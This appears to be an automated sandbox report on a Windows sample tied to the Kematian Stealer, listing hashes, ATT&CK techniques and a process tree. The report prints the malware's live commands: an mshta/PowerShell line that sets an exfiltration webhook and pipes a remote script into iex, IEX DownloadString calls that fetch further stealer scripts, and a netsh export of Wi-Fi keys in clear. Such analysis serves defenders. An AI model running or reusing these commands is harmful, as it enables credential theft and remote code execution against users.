f57315d9f70cab67669c23e10b081aac70f336369605d8c5e3079411f61e36de

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
14/07/2024, 23:10

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General

Target

main (1).exe
Size

89KB
MD5

755ee27c14914293c29ce91be08c20df
SHA1

cd4b0c9f25261d59689416734f9495a0c30bde17
SHA256

f57315d9f70cab67669c23e10b081aac70f336369605d8c5e3079411f61e36de
SHA512

a250ef4af67d0b5cb4d671ae72f689fcfc4704c0ce99768a7408e0824b1465f9e94e9027f8e6b2855bc0dfe4201deca85333809d34fad617e7ab411c7e10540c
SSDEEP

1536:R97fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfBweOy:Rp7DhdC6kzWypvaQ0FxyNTBfBt

Score

10^/10

persistence privilege_escalation

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://full-recording.gl.at.ply.gg:14817/data

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://github.com/Somali-Devs/Kematian-Stealer/raw/main/frontend-src/webcam.ps1

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://github.com/Somali-Devs/Kematian-Stealer/raw/main/frontend-src/kematian_shellcode.ps1

Signatures

Blocklisted process makes network request 10 IoCs

flow	pid	Process
2	1128	powershell.exe
15	1128	powershell.exe
17	1128	powershell.exe
23	1412	powershell.exe
24	1412	powershell.exe
26	1412	powershell.exe
28	2256	powershell.exe
29	2256	powershell.exe
30	2256	powershell.exe
32	1128	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\International\Geo\Nation	mshta.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com
24	raw.githubusercontent.com
29	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1412	powershell.exe
1412	powershell.exe
1128	powershell.exe
1128	powershell.exe
2256	powershell.exe
2256	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeIncreaseQuotaPrivilege	1128	powershell.exe
Token: SeSecurityPrivilege	1128	powershell.exe
Token: SeTakeOwnershipPrivilege	1128	powershell.exe
Token: SeLoadDriverPrivilege	1128	powershell.exe
Token: SeSystemProfilePrivilege	1128	powershell.exe
Token: SeSystemtimePrivilege	1128	powershell.exe
Token: SeProfSingleProcessPrivilege	1128	powershell.exe
Token: SeIncBasePriorityPrivilege	1128	powershell.exe
Token: SeCreatePagefilePrivilege	1128	powershell.exe
Token: SeBackupPrivilege	1128	powershell.exe
Token: SeRestorePrivilege	1128	powershell.exe
Token: SeShutdownPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeSystemEnvironmentPrivilege	1128	powershell.exe
Token: SeRemoteShutdownPrivilege	1128	powershell.exe
Token: SeUndockPrivilege	1128	powershell.exe
Token: SeManageVolumePrivilege	1128	powershell.exe
Token: 33	1128	powershell.exe
Token: 34	1128	powershell.exe
Token: 35	1128	powershell.exe
Token: 36	1128	powershell.exe
Token: SeIncreaseQuotaPrivilege	1128	powershell.exe
Token: SeSecurityPrivilege	1128	powershell.exe
Token: SeTakeOwnershipPrivilege	1128	powershell.exe
Token: SeLoadDriverPrivilege	1128	powershell.exe
Token: SeSystemProfilePrivilege	1128	powershell.exe
Token: SeSystemtimePrivilege	1128	powershell.exe
Token: SeProfSingleProcessPrivilege	1128	powershell.exe
Token: SeIncBasePriorityPrivilege	1128	powershell.exe
Token: SeCreatePagefilePrivilege	1128	powershell.exe
Token: SeBackupPrivilege	1128	powershell.exe
Token: SeRestorePrivilege	1128	powershell.exe
Token: SeShutdownPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeSystemEnvironmentPrivilege	1128	powershell.exe
Token: SeRemoteShutdownPrivilege	1128	powershell.exe
Token: SeUndockPrivilege	1128	powershell.exe
Token: SeManageVolumePrivilege	1128	powershell.exe
Token: 33	1128	powershell.exe
Token: 34	1128	powershell.exe
Token: 35	1128	powershell.exe
Token: 36	1128	powershell.exe
Token: SeIncreaseQuotaPrivilege	1128	powershell.exe
Token: SeSecurityPrivilege	1128	powershell.exe
Token: SeTakeOwnershipPrivilege	1128	powershell.exe
Token: SeLoadDriverPrivilege	1128	powershell.exe
Token: SeSystemProfilePrivilege	1128	powershell.exe
Token: SeSystemtimePrivilege	1128	powershell.exe
Token: SeProfSingleProcessPrivilege	1128	powershell.exe
Token: SeIncBasePriorityPrivilege	1128	powershell.exe
Token: SeCreatePagefilePrivilege	1128	powershell.exe
Token: SeBackupPrivilege	1128	powershell.exe
Token: SeRestorePrivilege	1128	powershell.exe
Token: SeShutdownPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeSystemEnvironmentPrivilege	1128	powershell.exe
Token: SeRemoteShutdownPrivilege	1128	powershell.exe
Token: SeUndockPrivilege	1128	powershell.exe
Token: SeManageVolumePrivilege	1128	powershell.exe
Token: 33	1128	powershell.exe
Token: 34	1128	powershell.exe
Token: 35	1128	powershell.exe
Token: 36	1128	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3724 wrote to memory of 4884	3724	main (1).exe	85
PID 3724 wrote to memory of 4884	3724	main (1).exe	85
PID 4884 wrote to memory of 2600	4884	cmd.exe	86
PID 4884 wrote to memory of 2600	4884	cmd.exe	86
PID 2600 wrote to memory of 3508	2600	net.exe	87
PID 2600 wrote to memory of 3508	2600	net.exe	87
PID 4884 wrote to memory of 456	4884	cmd.exe	88
PID 4884 wrote to memory of 456	4884	cmd.exe	88
PID 456 wrote to memory of 1128	456	mshta.exe	90
PID 456 wrote to memory of 1128	456	mshta.exe	90
PID 1128 wrote to memory of 3148	1128	powershell.exe	96
PID 1128 wrote to memory of 3148	1128	powershell.exe	96
PID 1128 wrote to memory of 1412	1128	powershell.exe	97
PID 1128 wrote to memory of 1412	1128	powershell.exe	97
PID 1128 wrote to memory of 2256	1128	powershell.exe	98
PID 1128 wrote to memory of 2256	1128	powershell.exe	98

C:\Users\Admin\AppData\Local\Temp\main (1).exe
"C:\Users\Admin\AppData\Local\Temp\main (1).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3724
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\7280.tmp\7281.tmp\7282.bat "C:\Users\Admin\AppData\Local\Temp\main (1).exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2600
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3508
- - C:\Windows\system32\mshta.exe
    mshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$webhook = 'h' + 'ttps://full-recording.gl.at.ply.gg:14817/data';$debug=$false;$vm_protect=$false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile=$false;$criticalprocess=$false;$melt=$false;$fakeerror=$false;$persistence=$false;$write_disk_only = $false;$t = Iwr -Uri 'https://raw.githubusercontent.com/Somali-Devs/Kematian-Stealer/main/frontend-src/main.ps1' -USeB | iex",0))
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue';$webhook = 'h' + 'ttps://full-recording.gl.at.ply.gg:14817/data';$debug=$false;$vm_protect=$false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile=$false;$criticalprocess=$false;$melt=$false;$fakeerror=$false;$persistence=$false;$write_disk_only = $false;$t = Iwr -Uri 'https://raw.githubusercontent.com/Somali-Devs/Kematian-Stealer/main/frontend-src/main.ps1' -USeB | iex
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1128
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" wlan export profile folder=C:\Users\Admin\AppData\Local\Temp\wifi key=clear
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3148
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I'E'X((New-Object Net.Webclient)."DowNloAdSTRiNg"('https://github.com/Somali-Devs/Kematian-Stealer/raw/main/frontend-src/webcam.ps1'))
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1412
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I'E'X((New-Object Net.Webclient)."DowNloAdSTRiNg"('https://github.com/Somali-Devs/Kematian-Stealer/raw/main/frontend-src/kematian_shellcode.ps1'))
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
abc27673d9c940ad74b41c58391d2412

SHA1
9a31a521a521dcd0f974ce6f7a50aecc69a50df0

SHA256
cb3f2adb2f5e39fbe5ae3c49837d9074a85f21e9be7eb8404444611f78a08357

SHA512
c7a574f9a53d29e2212500eb48fb05f475bac1e21b858f58e0e441caabea760ba7b7425a98610bf91e66d662f70a91c210b522bbecad3f5180e1aedbf6cfcdc4

Download Submit
C:\Users\Admin\AppData\Local\Temp\7280.tmp\7281.tmp\7282.bat

Filesize
707B

MD5
c11ddd77e6fd87bfd91da46629012670

SHA1
d72617510c45e258583ad25801c92b97152bb2b9

SHA256
243627dc5cc3254b95baeaa0fff9e11c377125a587788abf7aa408129550fef7

SHA512
8eca3612c655f7c1054a993525689f34ac7f777b357e0a2ec48f4786aaba345c594eb7a306630eaed6739e1bc970054b0db279adb7c143da87f19fcd7519d411

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iqourtis.vun.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\downloads.json

Filesize
4B

MD5
37a6259cc0c1dae299a7866489dff0bd

SHA1
2be88ca4242c76e8253ac62474851065032d6833

SHA256
74234e98afe7498fb5daf1f36ac2d78acc339464f950703b8c019892f982b90b

SHA512
04f8ff2682604862e405bf88de102ed7710ac45c1205957625e4ee3e5f5a2241e453614acc451345b91bafc88f38804019c7492444595674e94e8cf4be53817f

Download Submit
C:\Users\Admin\AppData\Roaming\Kematian\GB-(FIPWTUZL)-(2024-07-14)-(UTC0)\DomainDetects\Edge.txt

Filesize
2B

MD5
81051bcc2cf1bedf378224b0a93e2877

SHA1
ba8ab5a0280b953aa97435ff8946cbcbb2755a27

SHA256
7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6

SHA512
1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d

Download Submit
memory/1128-20-0x0000019DFFED0000-0x0000019DFFF46000-memory.dmp

Filesize
472KB

Download
memory/1128-19-0x0000019DFFE00000-0x0000019DFFE44000-memory.dmp

Filesize
272KB

Download
memory/1128-16-0x0000019DFFD60000-0x0000019DFFD84000-memory.dmp

Filesize
144KB

Download
memory/1128-15-0x0000019DFFD60000-0x0000019DFFD8A000-memory.dmp

Filesize
168KB

Download
memory/1128-14-0x0000019D82CA0000-0x0000019D831C8000-memory.dmp

Filesize
5.2MB

Download
memory/1128-13-0x0000019E00000000-0x0000019E001C2000-memory.dmp

Filesize
1.8MB

Download
memory/1128-65-0x0000019DE7890000-0x0000019DE78A2000-memory.dmp

Filesize
72KB

Download
memory/1128-66-0x0000019DE77F0000-0x0000019DE77FA000-memory.dmp

Filesize
40KB

Download
memory/1128-3-0x0000019DFFD30000-0x0000019DFFD52000-memory.dmp

Filesize
136KB

Download
memory/1412-30-0x0000022FC9EB0000-0x0000022FC9EB8000-memory.dmp

Filesize
32KB

Download
memory/2256-45-0x000002274FDD0000-0x00000227501A4000-memory.dmp

Filesize
3.8MB

Download